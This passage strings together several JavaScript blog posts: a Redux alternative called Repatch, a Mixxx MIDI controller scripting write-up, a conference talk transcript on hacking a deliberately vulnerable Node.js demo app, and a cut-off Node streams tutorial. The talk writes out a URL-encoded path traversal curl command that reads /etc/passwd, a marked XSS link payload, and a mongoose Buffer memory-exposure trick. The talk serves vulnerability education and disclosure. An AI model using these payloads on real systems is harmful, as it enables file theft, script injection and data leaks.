By looking around in npm, we are most likely to find a bunch of libraries/helpers/middlewares, which help us to avoid typing, but using them introduces some other type of typing overhead as we need to import them in every file.

Maybe we should think of a simpler way and consider which features we really need from Redux.

1. Do we have to keep the data immutable? Mutability is the highway to hell. So this is not a solution. Especially not in React applications.

2. Do we have to know the name of an action? In most cases, the actions are used only in single place. We do not need to keep them reproducible. What if you have a way to dispatch anonymous actions? This would be great.

3. Do we have to be able to serialize the actions? There are use cases where you absolutely need to be serializable, but in most applications, you do not. So let’s continue with the assumption that this is not a requirement for now.

We should adhere to the first restriction, while we can safely forget the others.

We should transform the Redux concepts to make it possible that we can create actions briefly. We want to describe an action as a single function, either in place.

Repatch

Repatch drops action types and action creators from the definition set, and answers the question: “What if reducers were the payload of the actions?”. The creed of this library is:

DISPATCH REDUCERS

store.dispatch(state => ({ ...state, counter: state.counter + 1 }));

In this terminology, an action is a function that returns a reducer:

const increment = amount => state => ({
  ...state,
  counter: state.counter + amount
});

store.dispatch(increment(42));

Repatch also has a Store class that we can instantiate with the initial state:

import Store from 'repatch';

const store = new Store(initialState);

Repatch's interface is very similar as redux’s, therefore we can use it with the react-redux library. The dispatch and subscribe methods have the same signature as in the Redux's Store.

Middlewares and Async Actions

Repatch also has an interface for chaining middlewares. This is convenient for using your favorite async-action middleware. The package provides a thunk middleware - similar to redux-thunk - which is useful for creating async actions. If your reducer returns a function, it will be automatically considered an async action by the middleware. The dispatch and getState functions will be passed as arguments to it by the store instance. You can set up the middleware to provide one extra argument to. You can use that, for example to inject your client API library.

Let's see the example related to our use-case below:

const fetchUsers = () => _ => async (dispatch, getState, { api }) => {
 dispatch(state => ({ ...state, isFetching: true }));
 try {
   const users = await api.get('/users');
   dispatch(state => ({ ...state, users }));
 } catch (error) {
   dispatch(state => ({ ...state, error: error.message }));
 } finally {
   dispatch(state => ({ ...state, isFetching: false }))
 }
}

Using this thunk middleware shows the real power of repatch as we can describe async actions in only a few lines of code. As you can see, we did not need to define verbose action types, action creators and action handlers in the reducer, as we could simply dispatch an arrow function defined in place, thus creating an anonymous action. How cool is that? This makes it possible that actions either can also be created from a component.

All that remains is the Store instantiation with the initial state:

const store = new Store({
 isFetching: false,
 users: [],
 error: null
});

and somewhere dispatching the action:

store.dispatch(fetchUsers())

Let's see an other example:

const updateUser = delta => state => async (dispatch, getState, { api }) => {
 try {
   const editedUserId = getState().editedUser;
   dispatch(toggleSpinner(true));
   await api.put(`/users/${editedUserId}`, { body: delta });
   await dispatch(fetchUsers());
   dispatch(toggleSpinner(false));
 } catch (error) {
   dispatch(state => ({ ...state, isFetching: false, error: error.message }));
 }
};

You can see from the function signature that in this example the extra argument is our client API object, as I mentioned previously. Also, note that the reducer's state argument is not always satisfactory for reading the state because it is a momentary representation from the time when the action was fired. Therefore we need to use the getState function instead of state.

In this example, toggleSpinner is a regular synchronous action that we can dispatch. The api.put method is a simple async method to call the API, there is no obstacle in the way of awaiting for it. The line await dispatch(fetchUsers()) is a bit more interesting. Using redux-thunk we got used to embedding async actions within each other and waiting for them.

Sub-reducers

Sub-reducers in Redux

Redux's reducers are composable to form a hierarchical structure. This way we do not need to define one giant reducer, instead, we can separate them to smaller nested reducers. Combining reducers is not magic, we just create a reducer that reduces the parts one by one to an object using their sub-state.

const rootReducer = (state, action) => ({
 foo: fooReducer(state.foo, action),
 bar: barReducer(state.bar, action)
});

is equivalent to

const rootReducer = redux.combineReducers({
  foo: fooReducer,
  bar: barReducer
});

Sub-reducers in Repatch

Repatch also offers a way to combine sub-reducers. We just define a function that takes a nested reducer as argument, and returns a reducer that reduces the whole state:

const reduceFoo = fooReducer => state => ({
 ...state,
 foo: fooReducer(state.foo)
});

Now reducing the foo property is easy. Let's suppose we would like to set an x property in the foo object:

const setX = x => reduceFoo(state => ({ ...state, x }));

It will be really useful if the sub-reducer describes a deeply nested property:

const reduceFoo = reducer => state => ({
  ...state,
  bar: {
    ...state.bar,
    foo: reducer(state.bar.foo)
  }
});

Testing

How about testing? Writing unit tests for a reducer is simple:

import * as assert from 'assert';
import { changeName } from './actions';

// ...

it('changeName', () => {
 const state = { name: 'john' };
 const nextState = changeName('jack')(state);
 assert.strictEqual(nextState.name, 'jack');
});

Async actions are a bit more complicated because they take effect by depending on external resources such as the store instance and other APIs. But external resources always need to be mocked in all environments.

import Store, { thunk } from 'repatch';
import * as assert from 'assert';

const mockUsers = [{ username: 'john' }];
const mockApi = {
 getUsers: () => Promise.resolve(mockUsers)
}

// ...

it('fetchUsers', async () => {
 const state = { users: [] };
 const store = new Store(state)
   .addMiddleware(thunk.withExtraArgument({ api: mockApi }));
 await store.dispatch(fetchUsers());
 const nextState = store.getState();
 assert.deepEqual(nextState.users, mockUsers);
});

The TODO app

Every javascript library has a todo example, so repatch has one too. If you are looking for the TypeScript example, you can find it here.

In this blogpost I summarize the challenges of creating a flexible and customizable MIDI controller mapping for the Mixxx DJ software. I will focus on the technical aspects of using the scripting facilities of the platform, and tackling the difficulties encountered on the journey.

I own two Novation Launchpads. The most iconic use-cases of this cool grid controller is launching samples. Launchpad cover videos are very popular on YouTube. These are done by slicing up the songs, and playing back live, spiced with some flashy visual effects.

You can also use launchpads for DJing. While being fit for a handful of things: cueing samples, beatjumping and looping, etc.; the Launchpad have neither a jogwheel nor any rotary controls or faders, so it falls short on functions like scratching or crossfading. Thus, it’s best to use as companion to your other DJ gear.

If you are interested in Mixxx you can download it from its homepage.
If you want to know what MIDI is you can learn it here. You can learn about MIDI controllers on Wikipedia.

If you already use Mixxx for DJing, and you are only interested in the script itself, you can check it out on GitHub. You can find a manual and everything else needed to get started there.

Intro

Serato and Traktor are the two leading digital DJ software on the market. But I wonder if you ever heard about Mixxx!? It serves the same purpose as its commercial counterparts, but with a moral advantage: it's free and open-source.

Creating a successful community-driven project in the professional audio software industry has a specific difficulty:

Not only you have to write software that meets high standards regarding UX and stability, but you also have to support a range of hardware devices to convert the crowd.

See, there's not much use of a live performance software without the ability to control it. Also, you can expect the target audience consisting of DJs and electronic musicians to be fond of their expensive hardware, and simply choosing software that supports their arsenal - and not the other way around.

Now imagine that you want to start a community-driven pro audio project, and you want it to support a lot of devices. What can you do?

One way is to go and try to appeal to the manufacturers for lending you a piece of each of their more popular models accompanied with instructions on how to develop for them (programming manuals are often publicly available, fortunately).

Then even if the particular manufacturer is kind enough to lend you hardware without any legal contract, it becomes your responsibility to distribute it among all your contributors, whom you must trust enough or bind them by a contract.

This needs a well-organized community process, a lot of effort, and most likely a legal person.

But what if you have neither of these? You could go with a simpler, libre approach: get your users involved in the development process, so anyone who owns a device can program it and share with the community. Mixxx chose this path.

Well then, let the members of the community write their own controller mappings for Mixxx! But what would be a perfect platform for this job? How would you execute these mappings?

Mixxx, quite unsurprisingly, is written in C++.

You probably know that it is a complex system programming language meant for creating performance critical applications. I can also tell you that it's damn hard, so it's not ideal for non-programmers to start hacking a DJ software as a hobby.

If only we could use a

• simple (so it's easy to learn),
• interpreted (no complicated build process please!),
• sandboxed (prevents bringing the whole application down),
• dynamic (easy build process once more)

language such as JavaScript!

The smart people working on Mixxx, of course, realized this, so as you would expect from the title, JavaScript is what we'll use to program MIDI controllers in Mixxx.

Feeding the FinickyMonkey

A further reason why JavaScript was chosen is that it's simply the easiest solution.

Mixxx was written with Qt, a popular native application framework which is already bundled with a JavaScript interpreter for the purpose of extending its declarative GUI markup language called QML.

The current version of Mixxx is built on Qt 4.8 - having a god knows what type and version of JS interpreter, which I will call FinickyMonkey from now on.

FinickyMonkey is claimed to be ES5 compliant, however, that doesn't hold for its parser, throwing errors on e.g. x.default or { final: 'x' }.

First I didn't understand, so I started digging to find out the following:

In ES3, keywords and future-reserved keywords can be neither member expression literals nor property literals, a restriction lifted in ES5, in addition to removing a lot of future-reserved keywords specified in ES3, like final, abstract or public. It seems that the parser remained in the ES3 era.

Wait a moment, the title suggests that you use modern JavaScript! How does using ES3 or ES5 justify that claim?

Well, of course it doesn't, and I don't do that.

Instead, I transpile my code with Babel to the target platform and use a module bundler, pretty much the same way a front-end developer would do for the browser!

Going back to ES3, as Babel generates noncompliant code from certain language features I'd rather use, e.g. default exports or for-of-loops, I had to work around it.

Fortunately, I could find transforms for the formerly mentioned property naming rules, greatly mitigating the issue. However, removed future-reserved keywords as identifiers remains an unresolved problem as of now still. (It only turned up in one case so far).

Use next current generation JavaScript, today.

Today, JavaScript (ECMAScript 6) is a pretty decent language.

Modularized, with statically resolved imports; an overwhelming amount of tools for code analysis and transformation; and nice language features overall. The community provides a wide range of packages under permissive licenses.

I decided in the very beginning that I want to make use of all this.

The first major concern is using modern JavaScript - ES6. I already mentioned Babel in the previous section. By using it, I am able to write code in the current generation of JavaScript.

Second in line is modularization, which enables me to split my project into separate files and makes me able to use packages from npm like one of the downright necessary collection utility modules (lodash or underscore). My files and the external dependencies are bundled up with a module bundler into a single script file the FinickyMonkey can interpret.

Finally, I added a linter from the start to enforce consistent coding style and prevent simple mistakes. Later, I also decided to use a static type checking tool, Flow, which can prevent harder-to-detect mistakes.

There is nothing special about this so far, it is similar to a conventional front end JavaScript application setup! Sadly, however, the Mixxx community has not yet started using these language tools, as you can see if you visit the repo, making this project a pioneer in utility model.

Rolling up everything

I initially used Browserify in conjunction with its Babel plugin to bundle my ES6 modules into a nice fat standalone module which can be interpreted by the FinickyMonkey.

It was a perfectly working solution, and exactly that boring as everybody is already using Browserify successfully for years to transfer CommonJS code back to the stone age.

In case you don't know how this stuff works, here's a brief intro. Browserify knows nothing about ES2015, and just as little about ES6 modules, as it was created to bundle CommonJS modules.

So before letting Browserify 'link' our modules, we have to cheat and run a Babel transform on each of our files which (among other things) rewrites ES6 modules into the CommonJS format, so that it can be handled by the bundler.

Of course, we lose the benefits coming with ES6 modules that arise as a consequence of the fact that imports and exports are resolved ahead-of-time.

Whereas this is not possible with CommonJS (a though job at least), an ES6-capable bundler could simply identify and eliminate certain chunks of dead code automatically - concretely those manifesting in the form of unused exports - by simply looking at the dependency graph.

This is commonly known as 'tree-shaking', which in addition to being an incorrect name for the problem^*, sounds silly too. Fortunately there is a new module bundler on the block called Rollup that does this, so I gave it a go.

Rewriting the scripts to use Rollup was straightforward, however, I felt the whole process's justifiability somewhat hindered after I realized that there are only a handful of ES6 modules out on npm.

The source of this situation is rooted in platform support of course, as Node.js doesn't support ES6 modules yet, and it appeared in browsers only recently.

This isn't a game stopper for front end packages where dependents use a compilation toolchain anyways, so ES6 modules can be easily integrated. The problem is relevant for the server though, where common development practice disregards module bundling and generally any kind of ahead-of-time code manipulation. This ambivalence is clearly reflected in the landscape of npm packages^**, as shown below.

Legend:

• ✅ : ES6 by default
• ⚠️ : ES6 not the default distribution, or some other quirk
• ❌ : no ES6

Utility (these are used both server and client side):

• ⚠️ lodash
• ⚠️ async
• ⚠️ underscore

HTTP, DB and messaging (mainly on the server):

• ❌ express
• ❌ redis
• ❌ socket.io
• ❌ request
• ❌ mongoose

Front end frameworks:

• ✅ Angular
• ✅ Ember
• ❌ React
• ✅ Vue

At the end of the day, for my Launchpad script only my own hand-written, organic code and lodash could be handled OOTB by Rollup, while I had to use a CommonJS to ES6 transformer plugin for the rest.

_{^*It originates from LISP, where it was used for figuring out dead-code dynamically by evaluating all possible execution paths, so if Browserify had some kind of dead-code elimination for CommonJS, that usage would be a better fit the term.}

_{^**Checked in May 2017}

Static types with Flow

I started with plain ES6 and later on decided to add Flow definitions for the sake of experimentation.

Flow is a static type checker and a language extension for JavaScript, that unlike TypeScript only requires transpilation to the extent of eradicating type annotations from the source code.

Type annotations are similar to comments in a sense that they have absolutely no impact on the runtime behavior of the code. Instead, they help the type checker in essence by serving as a marker with which you can label values as instances of intended types.

Here's an example. They can be incrementally added as you rediscover your code with your new torch.

Beware, as you will find many skeletons in the closet!

As I mentioned, type annotations don't even make it into the code, and more interestingly, neither do they cause code to be generated by the transpiler.

They are just deleted, period.

Contrary to TypeScript that always had stuff requiring code generation, Flow has no intention of dynamically extending the language.

There is power in elegance: this property ensures that Flow code behaves the same way as the equivalent JavaScript without type annotations.

You can actually choose to add them in the form of comments, so it doesn't even require an intermediate step. The fact that the transpilation remains optional also means that type checking remains a separate process, decoupled from transpilation. Imagine Flow as a linter on steroids.

Flow made me think a lot. Static types forced me to approach my source code differently.

As soon as I started adding type annotations, I began to realize that my application was badly structured. Why? A lot of previously hidden dependencies appeared between the source files in the form of type imports (if you have a type definition in another source file you have to import it, such as you import an object) and it was a mess, so I had to reorganize my code.

I also realized that I can generalize a lot by introducing superclasses. There is still much left to be desired, for example, the preset builder remains very dynamic despite all my efforts.

Taming the Mixxx APIs

The two main APIs that are exposed to you when you are working on Mixxx controller scripts are the MIDI and Engine APIs.

You use the MIDI API to talk to the MIDI device, while the Engine API let's you observe and modify Mixxx's internals. I made some effort to create a wrapper for both APIs, taking more time with the Engine API wrapper which is almost in a state where it can be separated from this project to be used by others, although it was not my original intention to do so.

I think the biggest advantage for using both API wrappers over their native counterparts is the event notification system.

The native APIs are a mess, with undocumented and unconventional (the worst!) behavior, which you are very likely to misuse and leak resources when e.g. reassigning event handlers.

The wrapper greatly simplifies correct usage with EventEmitters that should be familiar from Node.js. There is stuff that is not yet implemented yet, like enforcing correct usage for all of Mixxx's controls.

For example, we could prevent modifying read-only controls. Unlike the Engine API wrapper, the MIDI API wrapper can't be externalized in its current form as it is specialized for Launchpad.

Mixxx's 'module loading' interface also requires you to supply an XML file containing meta data about the controller and the script, and a list of your MIDI listener bindings. Instead of writing this file by hand, which is pretty long and hard to maintain, I generate it with the EJS templating tool created for HTML but seems to handle XML just as well.

<?xml version='1.0' encoding='utf-8'?>
<MixxxControllerPreset mixxxVersion="1.11+" schemaVersion="1">
    <info>
        <name><%= manufacturer %> <%= device %></name>
        <author><%= author %></author>
        <description><%= description %></description>
        <forums><%= homepage %></forums>
    </info>
    <controller id="<%= manufacturer %> <%= device %>">
        <scriptfiles>
            <file functionprefix="<%= global %>" filename="<%= manufacturer %>-<%= device %>-scripts.js"/>
        </scriptfiles>
        <controls>
            <% buttons.forEach(function (button) { %><control>
                <group>[Master]</group>
                <key><%= global %>.__midi_<%= button.status %>_<%= button.midino %></key>
                <status><%= button.status %></status>
                <midino><%= button.midino %></midino>
                <options>
                    <script-binding/>
                </options>
            </control><% }) %>
        </controls>
        <outputs/>
    </controller>
</MixxxControllerPreset>

Conclusion

If you are interested in the project itself, you can find it on GitHub by the name szdavid92/mixxx-launchpad.

There is a comprehensive user manual making it easy to start out.

I hope that all I've written down here might turn useful for someone who wants to create a new controller mapping for Mixxx and I hope they follow my footsteps in doing so.

Furthermore, I am inclined to put more work in the API wrappers, so if you would like to use them, I could make an effort and complete them so they can be separated into an external package you can use.

Thanks for reading, and happy coding!

In his presentation, Danny Grander walked us through hacking a vulnerable Node.js application, as well as looking in-depth into three different vulnerabilities in popular npm packages.

It is a good learning opportunity to see a real-world software, written by experienced developers that had security issues that later got fixed, and hopefully we can learn something from that.

Below you find the presentation video synchronized with the slides, as well as a near-perfect, stylized transcript of the presentation from a first person perspective:

Intro - About NodeConfBP

NodeConfBP is a one-day, single track conference held in Budapest in 2017 January, sponsored and organized by RisingStack - the Node.js Consulting & Development Company.

Meet Danny Grander from Snyk

Okay so, hi everyone and thank you for coming! My name is Danny, I came here from Tel-Aviv and I'm doing security research at Snyk. This is actually my first time here in NodeConf Budapest.

I'm searching for vulnerabilities in open-source code, and basically building our vulnerability database. Snyk is a devtooling company, we're based in Tel-Aviv and London, and we're building tools for developers to help them consume open-source code securely.

And we have a lot of office dogs! :)

In my past, I've been doing development in different startups, and I worked as a CTO at a security consultant company, doing security research and crypto-analysis.

I also really enjoy playing capture the flag games with my team.

These are security competitions where different teams try to compete against the other by hacking the systems of the other teams, and defending their own from being hacked. And three weeks ago, my team had the honor to win the CCC capture the flag - an event held in Hamburg, Germany.

npm Usage has Exploded

So, at Snyk we're big fans of Node and npm, and obviously we're not alone. npm usage has exploded, there are more than 380.000 packages on the npm registry, with 6 billion downloads per month and 65 thousand publishers. These are striking numbers, and they keep on growing in a staggering pace.

So clearly, Javascript has won. Definitely with the speed of growth and the reach of the community.

A typical Node application has somewhere between hundreds, up to thousand of dependencies - and as Daniel mentioned eariler - some of them are direct dependencies, (these we see in our package.json files) and some of them are indirect.

The majority of the dependencies we use are actually indirect.

We just pull them in into our application, and making them our own code.

The orange part here is representing the npm dependencies, the code we pulled in, making it our own.

This is actually a positive slide, because - thanks to npm and the Node community - we can create all this value by writing this little purple circle, and just focusing on the core.

But with that comes a security risk of course.

And the question is:

• Do we even know what dependencies we pull in, what dependencies we end up with?
• Do we know if the developers had any security expertise, or if the code went through any security testing?
• Do we know whether its a well maintained code, and the bugs or the security issues get reported to the maintainers are addressed in a timely manner?

Finally, do we know if every single dependency has any known security vulnerabilities?

We tested all npm packages with Snyk, and we found 14% of them carrying known security vulnerabilities, either directly in it's own code, or in one of their dependencies.

And roughly 4 out of 5 Snyk users find vulnerabilities in their own app when testing for the first time.

Hacking a vulnerable Node.js application

So now I'm going to show you a sample vulnerable application and walk through the process of finding these issues and fixing them with Snyk.

Also, we'll be looking in-depth into three different vulnerabilities in popular npm packages.

It will be a good learning opportunity to see a real-world software, written by experienced developers that had a security issue that later got fixed, and hopefully we can learn something from that.

The slide contains the URLs and the application, this demo application, which is available on our github.

So this is Goof, a demo MVC todo app. It's pretty simple.

We can add to-do items, we can emphasize things, we can use markdown here, so it's really basic.

We have some awesome about page here, and if you look at the package.json file of this app, it has 20 dependencies. Not too many, pretty standard.

So the first step I'd like to do is to go to Snyk and test my GitHub repositories for the known vulnerabilities in the npm packages.

So once again, it's a demo application, which has sixteen vulnerabilities. And if you go to see the details or the report, you can see that there are the list of the vulnerabilities sorted by severity

We can see the name of the package, the vulnerable version, how it was introduced to our application, and some description about the vulnerability.

And now, I'm going to show you how to hack it in three different ways!

#1: Directory Traversal Hack - the insecure st npm package

The first example I will use is the st module.

st is an express middleware used to serve static files. Basically, these are the files that the JavaScript, the CSS and the images that our application serves.

We required it here just in this line, and we provided two options. One is the path from which folder it can serve the files, and the other is the URL.

You can see that there is a path traversal vulnerability in st. So let's try to exploit it. Let's switch to the terminal.

$ curl https://goof-nodeconf-budapest.herokuapp.com/public/about.html
<!DOCTYPE html>
<html>
    <h1>The BESTest todo app evar</h1>
</html>

So first thing I'll try to do is to fetch the about page, works as expected.

But as an attacker I'll try to escape the folder right?

So I'll do the ../../ and hopefully in the end reach the root folder and go for the /etc/passwd for example.

$ curl https://goof-nodeconf-budapest.herokuapp.com/public/../../../../../../etc/passwd
Cannot GET /etc/passwd

If I run that it actually fails, and the reason is that st protects against this kind of attempts.

It filters out, normalizes the path and prevents the escaping of the folder, but it misses something, and that's where we can encode the dots, with URL encoding.

$ curl https://goof-nodeconf-budapest.herokuapp.com/public/%2e%2e/
<!doctype html><html><head><title>Index of </title></head><body><h1>Index of </h1><hr><a href="../">../</a>
<a href="exploits/">exploits/</a>           2017-01-21T00:41:42.000Z          -
<a href="node_modules/">node_modules/</a>       2017-01-21T00:41:53.000Z          -
<a href="public/">public/</a>             2017-01-21T00:41:42.000Z          -
<a href="routes/">routes/</a>             2017-01-21T00:41:42.000Z          -
<a href="views/">views/</a>              2017-01-21T00:41:42.000Z          -
<a href="app.js">app.js</a>              2017-01-21T00:41:42.000Z       1903
<a href="app.json">app.json</a>            2017-01-21T00:41:42.000Z        267
<a href="db.js">db.js</a>               2017-01-21T00:41:42.000Z        893
<a href="package.json">package.json</a>        2017-01-21T00:41:42.000Z       1070
<a href="README.md">README.md</a>           2017-01-21T00:41:42.000Z       1334
<a href="utils.js">utils.js</a>            2017-01-21T00:41:42.000Z        641
<hr></body></html>%

We just have to type %2e %2e, and repeat this multiple times. We see that we're getting to the root folder of the app.

$ curl https://goof-nodeconf-budapest.herokuapp.com/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
u37116:x:37116:37116:,,,:/app:/bin/bash
dyno:x:37116:37116:,,,:/app:/bin/bash

We see the package JSON file and the source path. We can actually look at them here, and I can go for the db.js file and the source code.

But of course I can go for the root folder with /etc/passwd.

And again, it's not the most sensitive problem in the system.

The password hashes are stored in the shadow file, but still you see that the attacker can access any file that the Node process has access to.

So this was the first one, an easy one, so let's look at another vulnerability..

#2: Content & Code Injection (XSS) Hack - the insecure marked npm package

The second one is a package call marked. Who is familiar with marked?

This is an npm package used for rendering a markdown, and this is how our todo app is able to do all this fancy stuff.

So markdown actually supports HTML, and it tries to prevent from injecting script code.

What you see in marked is a Cross-Site Scripting vulnerability, so the first thing we could try to do is something like that:

<script>alert(1)</script>

The markdown actually protects against this, and it has a security component called sanitizer.

It's not turned on by default, but in this app we actually turned it on and it protects us against this kind of things.

[Gotcha](javascript:alert(1))

But what we can try to do is create a link in markdown formats, and it looks something like this.

And again, it didn't work because it was anticipated and prevented here by the developers.

But luckily, we can create an actually vulnerable version of this link:

[Gotcha](javascript&#58this;alert(1))

So what we do here is using HTML entities encoding.

We added the the semicolon, and it also requires the closing brackets also to be encoded - so you can see that it gets a little tricky. It's not always obvious how to exploit these things, but when I do that, and click on the link we actually get down where we want.

So yeah, this was a markdown.

#3: Remote Memory Exposure Hack - the insecure mongoose npm package

And the last one I want to show you is the mongoose library. Who here is familiar with Mongoose? Oh, yeah almost everybody..

So our app uses a MongoDB to store the TODO items, and it has a pretty basic schema.

If you look at the DB file here, we see that the content, the extra content of the todo item is stored in a buffer, and if you click through the vulnerability details here, we see that it is a Remote Memory Exposure vulnerability and it has to do with buffer, with how buffer behaves in Node.

So I switch to the terminal and let's take a look at the Buffer.

Buffer can be constructed from strings, or arrays, and when we do so from a string, we see that basically binary Buffers are created with the ASCII values of the value provided in a constructor.

So we can set something like this..

..and it works as expected. It also accepts arrays, and again creates a buffer by the buffer of these values.

It also accepts integers in the constructor, and who knows what will happen when I run this?

> new Buffer (100)

Okay, so a new buffer will be created with the length of 100, but we see that it holds something inside, we see some data. And if you are doing it again, you see some different data.

So what happens is that for historical and performance reasons, we get a buffer of length 100 but this is uninitialized.

Basically what we see here is already used heap memory, previously used heap memory and if you do it again, we just get to see more of the heap memory.

And the reason it happens is that typically when we ask for a buffer the next thing we do is to populate that buffer with some data, so the developers in this case saved us the time, saving the CPU cycles for initializing this Buffer.

And this is really common in lower-level languages like C and C++ but very unexpected in JavaScript.

And that's how this bevahior led to about 5 or 6 vulnerabilities in different npm packages.

It's a documented behaviour, it's not a vulnerability in Node..

So going back to our todo app, if I just somehow can pass an integer to the application instead of a string as my TODO item I would hopefully be able to see the heap memory of the process.

So here I wrote the number 100, obviously it would pass as a string to the application, but as an attacker what I'll try to do is to make the application accept this number as an integer.

So let's try to do that.

I'll again switch to the terminal and I'm going to use an utility called HTTP, its called HTTPie but the command is HTTP. I'm going to submit that form from the command line to the application.

So what I'm doing is do something like content=Buy beer to HTTP -- form as it is a form submission, just going to copy the URL and the endpoint here is create, and I’m about to ask for the -v verbose version.

If we just refresh the app, we can see that a new item was added and everything works as expected.

I can also submit this data as JSON, as content type JSON, because the application uses the JSON body parser, so I can go here and use the JSON syntax to submit this form.

I'll change it to JBeer here, and I'll just add —json so the content type of the post request would be application JSON. So let's try that, and refresh.

So I did that and it was added, and if we switch back to the terminal we can see that this time we submitted the request as application JSON with this data.

So as soon as I use JSON I can actually now control the type, and if I change this to 800 you can already see that much more data came back.

But if I refresh we see the uninitialized memory object parsed:

And actually the fun part here is that we see some string of the source code and in this case it probably was const.

Let's repeat this for like one hundred times, and pipe it in some file.

So I do that, and in a second terminal I'm going to see the hex dump a bit. So this is the real time memory coming back from the node process of the Heroku servers, and if I stop here, again I can actually see some source code.

So the fix for this vulnerability is actually really simple. You just have to verify that when the type is a number, it's just turned it into an array of a singe item with that item, and that's it.

Fixing Vulnerable npm packages, Writing Secure Node.js Code

What we've seen is the first step, we basically looked at vulnerabilities, we tested our application and the next step would be to fix them.

At Snyk we do that with fix PR. We can just click here, we see all the list of the vulnerabilities.

So, we can see all the details of the vulnerabilities that we upgraded the packages from, and also the patches we applied to.

But we cannot get rid of some vulnerabilities with upgrades. Why?

Because basically we pull in dependency A, dependency A pulls B, B pulls C, C has a vulnerability so we are using the latest version of A, we cannot change anything, so we kind of need the developers of B or C to upgrade to the latest version of the vulnerable package.

So in this case what we do is that we have this prepublish hook that runs this command and it basically looks at the vulnerable packages and applies a patch to them. So we backport those patches and apply as soon as npm install finished to run.

And the last thing we can do is to watch the projects. Basically when new vulnerabilities are disclosed, even when we did not change any code in our application, we want to be notified about it.

Snyk takes a snapshot of the dependencies of that project and when a new vulnerability is reported we just send an alert, an email, a slack notification or again, a fix pull request.

And also we can have the test hook here so every time a new pull request is created, we are testing the changes, the dependencies for new vulnerabilities.

Right, so switching back to the slides..

So, there are some JavaScript takeaways:

We've seen three examples of vulnerabilities but obviously there are many more and if you go to snyk.io/vuln, (our vulnerability database) you can see that this is an opportunity to learn from many other vulnerabilities in open-source packages.

And that's it, I'll be around to answer the questions! (In the comments section below as well!)

Question: what's your relationship with the Node Security Project? Are you using their database, or are you contributing to that, and what's the difference between using nsp check and using Snyk?

Answer: So first, we're good friends with nsp and Adam Baldwin.

Our database contains all the vulnerabilities their database has, along with the vulnerabilities we add by our own research. For example we added above a dozen new vulnerabilities in the last month.

We also automatically scan all github npm projects for things that look like reports or fixes of vulnerabilities, so we look at commit messages, we look at issues which are open..

The difference between the two products I would say is the fix part. So basically, both of us kind of detect the issue, but we want to also fix that.

So this is not just like kind of "this is the list of the vulnerabilities, we created more work for you".

This is also our attempt to do the fix, the upgrades and the patches, so we've seen that briefly, but this is our focus, we want to help you fix the issue!

Node.js Streams come with a great power: You have an asynchronous way of dealing with input and output, and you can transform data in independent steps. In this tutorial, I'll walk you through the theory, and teach you how to use object stream transformables, just like Gulp does.

When I was researching for my book Front-End Tooling with Gulp, Bower and Yeoman, I decided to not just explain APIs and use cases, but also focus on the concepts underneath.

You know that especially in JavaScript, tools and frameworks come and go faster than you can register domains and Github groups for them. For Gulp.js, one of the most crucial concepts are streams!

Some 50 years of streams

With Gulp, you want to read input files and transform them into the desired output, loading lots of JavaScript files and combining them into one. The Gulp API provides some methods for reading, transforming, and writing files, all using streams under the hood.

Streams are a fairly old concept in computing, originating from the early Unix days in the 1960s.

The source can be of multiple types: files, the computer’s memory, or input devices like a keyboard or a mouse.

Once a stream is opened, data flows in chunks from its origin to the process consuming it. Coming from a file, every character or byte would be read one at a time; coming from the keyboard, every keystroke would transmit data over the stream.

The biggest advantage compared to loading all the data at once is that, in theory, the input can be endless and without limits.

Coming from a keyboard, that makes total sense - why should anybody close the input stream you’re using to control your computer?

Input streams are also called readable streams, indicating that they’re meant to read data from a source. On the other hand, there are outbound streams or destinations; they can also be files or some place in memory, but also output devices like the command line, a printer, or your screen.

They’re also called writeable streams, meaning that they’re meant to store the data that comes over the stream. The figure below illustrates how streams work.

The data is a sequence of elements made available over time (like characters or bytes).

Readable streams can originate from different sources, such as input devices (keyboards), files, or data stored in memory. Writeable streams can also end in different places, such as files and memory, as well as the command line.

Not only is it possible to have an endless amount of input, but you also can combine different readable and writeable streams. Key input can be directly stored into a file, or you can print file input out to the command line or even a connected printer. The interface stays the same no matter what the sources or destinations are.

The easiest program in Node.js involving streams is piping the standard key input to the standard output, the console:

process.stdin.pipe(process.stdout);

We take our readable (process.stdin) and pipe it to a writeable (process.stdout). As said before, we can stream any content from any readable source to any writeable destination.

Take the request package for example, where you can do an HTTP request to a URL. Why not fetching some page on the web and printing it out on process.stdin?

const request = require('request');

request('https://fettblog.eu').pipe(process.stdout);

The output of an HTML page might not be particularly useful on a console but think of it being piped to a file for a web scraper.

Transforming data

Streams aren’t just good for transferring data between different input sources and output destinations.

With the data exposed once a stream is opened, developers can transform the data that comes from the stream before it reaches its destination, such as by transforming all lowercase characters in a file to uppercase characters.

This is one of the greatest powers of streams. Once a stream is opened and you can read the data piece by piece, you can slot different programs in between. The figure below illustrates this process.

To modify data, you add transformation blocks between the input and the output.

In this example, you get your input data from different sources and channel it through a toUpperCase transformation. This changes lowercase characters to their uppercase equivalent. Those blocks can be defined once and reused for different input origins and outputs.

In the following listing, we define a toUpperCase function that -- well -- transforms every letter to its uppercase equivalent. There are many ways to create this functionality, but I've always been a huge fan of the Node.js streaming packages like through2. They define a good wrapper to make creating new transformables in a breeze:

const through2 = require('through2');

const toUpperCase = through2((data, enc, cb) => {      /* 1 */
  cb(null, new Buffer(data.toString().toUpperCase())); /* 2 */
});

process.stdin.pipe(toUpperCase).pipe(process.stdout);  /* 3 */

1. The through2 package takes a function for the first parameter. This function passes data (in a Buffer), some encoding information and a callback we can call once we're done with our transformation.
